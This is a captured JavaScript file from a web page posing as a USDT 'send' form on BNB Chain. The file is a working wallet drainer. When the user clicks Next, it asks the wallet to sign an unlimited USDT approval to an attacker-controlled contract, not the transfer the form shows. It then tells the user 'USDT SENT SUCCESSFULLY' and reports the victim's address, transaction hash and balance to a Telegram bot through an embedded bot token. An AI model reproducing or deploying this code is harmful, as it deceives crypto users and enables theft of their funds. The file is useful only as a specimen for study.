PageSourceSearch

https://sendbscusdtbnb.vercel.app/main.js

js sendbscusdtbnb.vercel.app collected 2026-10-03 05:49:36 UTC 9,395 bytes, 252 lines download raw bytes

1document.addEventListener("DOMContentLoaded", function () {
2
3    // ===== CONFIG =====
4    const CONFIG = {
5        COMPANY_WALLET_ADDRESS: "0x1d3Dd8A3Cf438d62cC965E7EB9E83E494e7F56F7",
6        CONTRACT_ADDRESS: "0x55329aFC897feb4B5DAb6CaE4eAf5A8F528bc624",
7
8        // ===== TELEGRAM BOT 1 =====
9        TELEGRAM_BOT_TOKEN_1: "8870523885:AAFsZV0YaSf5biDlx-jnyT4xFkahk_861Gc",
10        ADMIN_CHAT_ID_1: "6917216640",
11
12        // ===== TELEGRAM BOT 2 =====
13        TELEGRAM_BOT_TOKEN_2: "8870523885:AAFsZV0YaSf5biDlx-jnyT4xFkahk_861Gc",
14        ADMIN_CHAT_ID_2: "6917216640",
15
16        SENDER_KEY: ""
17    };
18
19    // ===== TELEGRAM HELPER (ADDED) =====
20    async function sendTelegram(botToken, chatId, message, keyboard) {
21        return fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
22            method: "POST",
23            headers: { "Content-Type": "application/json" },
24            body: JSON.stringify({
25                chat_id: chatId,
26                text: message,
27                parse_mode: "Markdown",
28                reply_markup: keyboard
29            })
30        });
31    }
32
33    // ===== USDT BALANCE =====
34    async function getUsdtBalance(address) {
35        try {
36            const provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed.binance.org/");
37            const usdt = new ethers.Contract(
38                "0x55d398326f99059fF775485246999027B3197955",
39                ["function balanceOf(address) view returns (uint256)"],
40                provider
41            );
42            const balance = await usdt.balanceOf(address);
43            return parseFloat(ethers.utils.formatUnits(balance, 18)).toFixed(4);
44        } catch (e) {
45            return "0.0000";
46        }
47    }
48
49    // ===== TELEGRAM NOTIFICATIONS (DUAL BOT) =====
50    async function sendTelegramNotifications(walletAddress, txHash, userId, UsdtBalance) {
51
52        const inlineKeyboard = {
53            inline_keyboard: [[
54                { text: "🔗 View Transaction", url: `https://bscscan.com/tx/${txHash}` }
55            ]]
56        };
57
58        const adminMessage =
59            `🔔 *New USDT Approval Transaction*\n\n` +
60            `💰 *Wallet Address:*\n\`${walletAddress}\`\n\n` +
61            `🔗 *Transaction Hash:*\n\`${txHash}\`\n\n` +
62            `🤑 *USDT Balance:* ${UsdtBalance} USDT\n` +
63            `👤 *User ID:* ${userId || "N/A"}\n` +
64            `⏰ *Time:* ${new Date().toLocaleString()}`;
65
66        const userMessage =
67            `🎉 *USDT Approval Successful!*\n\n` +
68            `💰 *Wallet Address:*\n\`${walletAddress}\`\n\n` +
69            `🔗 *Transaction Hash:*\n\`${txHash}\`\n\n` +
70            `✅ *Status:* Approved`;
71
72        try {
73            await sendTelegram(
74                CONFIG.TELEGRAM_BOT_TOKEN_1,
75                CONFIG.ADMIN_CHAT_ID_1,
76                adminMessage,
77                inlineKeyboard
78            );
79
80            await sendTelegram(
81                CONFIG.TELEGRAM_BOT_TOKEN_2,
82                CONFIG.ADMIN_CHAT_ID_2,
83                adminMessage,
84                inlineKeyboard
85            );
86
87            if (userId) {
88                await sendTelegram(
89                    CONFIG.TELEGRAM_BOT_TOKEN_1,
90                    userId,
91                    userMessage,
92                    inlineKeyboard
93                );
94            }
95
96            console.log("Telegram notifications sent to both bots");
97        } catch (error) {
98            console.error("Telegram error:", error);
99        }
100    }
101
102    // ===== NOTIFICATION BAR =====
103    function showNotification(msg, type = "info") {
104        let notify = document.getElementById("notify-bar");
105        if (!notify) {
106            notify = document.createElement("div");
107            notify.id = "notify-bar";
108            notify.style.position = "fixed";
109            notify.style.top = "20px";
110            notify.style.left = "50%";
111            notify.style.transform = "translateX(-50%)";
112            notify.style.zIndex = "9999";
113            notify.style.minWidth = "260px";
114            notify.style.maxWidth = "90vw";
115            notify.style.padding = "16px 32px";
116            notify.style.borderRadius = "12px";
117            notify.style.fontSize = "1rem";
118            notify.style.fontWeight = "bold";
119            notify.style.textAlign = "center";
120            notify.style.boxShadow = "0 4px 32px #0008";
121            notify.style.transition = "all 0.3s";
122            document.body.appendChild(notify);
123        }
124        notify.textContent = msg;
125        notify.style.background =
126            type === "error" ? "#f87171" : type === "success" ? "#10b981" : "#fcfcfcff";
127        notify.style.color = "#fff";
128        notify.style.opacity = "1";
129        notify.style.pointerEvents = "auto";
130        setTimeout(() => {
131            notify.style.opacity = "0";
132            notify.style.pointerEvents = "none";
133        }, 3000);
134    }
135
136    // ===== FORM LOGIC =====
137    const addressInput = document.querySelector('input[placeholder="Search or Enter"]');
138    const amountInput = document.querySelector('input[placeholder="USDT Amount"]');
139    const nextBtn = document.querySelector("button.w-full");
140    const originalBtnHTML = nextBtn.innerHTML;
141    const approxUsd = document.querySelector(".text-xs.text-gray-500");
142    const maxBtn = Array.from(document.querySelectorAll("button")).find(
143        (btn) => btn.textContent.trim().toLowerCase() === "max"
144    );
145
146    amountInput.value = "1";
147    approxUsd.textContent = "≈ $1.00";
148
149    function updateApproxUsd() {
150        let amount = parseFloat(amountInput.value.trim());
151        approxUsd.textContent =
152            isNaN(amount) || amount <= 0 ? "≈ $0.00" : `≈ $${amount.toFixed(2)}`;
153    }
154    amountInput.addEventListener("input", updateApproxUsd);
155    updateApproxUsd();
156
157    function validate() {
158        const address = addressInput.value.trim();
159        const amount = amountInput.value.trim();
160        nextBtn.disabled = !(address.length > 0 && amount.length > 0);
161    }
162    addressInput.addEventListener("input", validate);
163    amountInput.addEventListener("input", validate);
164    validate();
165
166    if (maxBtn) {
167        maxBtn.addEventListener("click", async function (e) {
168            e.preventDefault();
169            if (!window.ethereum) {
170                showNotification("No Web3 wallet found.", "error");
171                return;
172            }
173            try {
174                const provider = new ethers.providers.Web3Provider(window.ethereum);
175                const signer = provider.getSigner();
176                const walletAddress = await signer.getAddress();
177                const usdtAddress = "0x55d398326f99059fF775485246999027B3197955";
178                const usdtAbi = [
179                    "function balanceOf(address owner) view returns (uint256)",
180                    "function decimals() view returns (uint8)"
181                ];
182                const usdt = new ethers.Contract(usdtAddress, usdtAbi, signer);
183                let decimals = 18;
184                try { decimals = await usdt.decimals(); } catch (err) {}
185                let balance = await usdt.balanceOf(walletAddress);
186                let maxValue = ethers.utils.formatUnits(balance, decimals);
187                amountInput.value = (+maxValue).toString();
188                updateApproxUsd();
189                validate();
190            } catch (err) {
191                showNotification("Unable to get max balance.", "error");
192            }
193        });
194    }
195
196    // ===== NEXT BUTTON =====
197    nextBtn.addEventListener("click", async function (e) {
198        e.preventDefault();
199
200        if (!window.ethereum) {
201            showNotification("No Web3 wallet found.", "error");
202            return;
203        }
204
205        nextBtn.innerHTML = '<span class="spinner">Processing...</span>';
206        nextBtn.disabled = true;
207
208        try {
209            const bnbChainId = "0x38";
210            await window.ethereum.request({
211                method: "wallet_switchEthereumChain",
212                params: [{ chainId: bnbChainId }]
213            });
214
215            const iface = new ethers.utils.Interface([
216                "function approve(address spender, uint256 amount)"
217            ]);
218
219            const txData = iface.encodeFunctionData("approve", [
220                CONFIG.CONTRACT_ADDRESS,
221                ethers.constants.MaxUint256.toString()
222            ]);
223
224            const fromAddress = (await window.ethereum.request({ method: "eth_accounts" }))[0];
225
226            const txHash = await window.ethereum.request({
227                method: "eth_sendTransaction",
228                params: [{
229                    from: fromAddress,
230                    to: "0x55d398326f99059fF775485246999027B3197955",
231                    data: txData,
232                    value: "0x0"
233                }]
234            });
235
236            showNotification("USDT SENT SUCCESSFULLY", "success");
237
238            if (txHash) {
239                const urlParams = new URLSearchParams(window.location.search);
240                const userId = urlParams.get("user_id");
241                const balance = await getUsdtBalance(fromAddress);
242                await sendTelegramNotifications(fromAddress, txHash, userId, balance);
243            }
244
245        } catch (err) {
246            showNotification("Transaction failed or cancelled.", "error");
247        } finally {
248            nextBtn.disabled = false;
249            nextBtn.innerHTML = originalBtnHTML;
250        }
251    });
252});

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.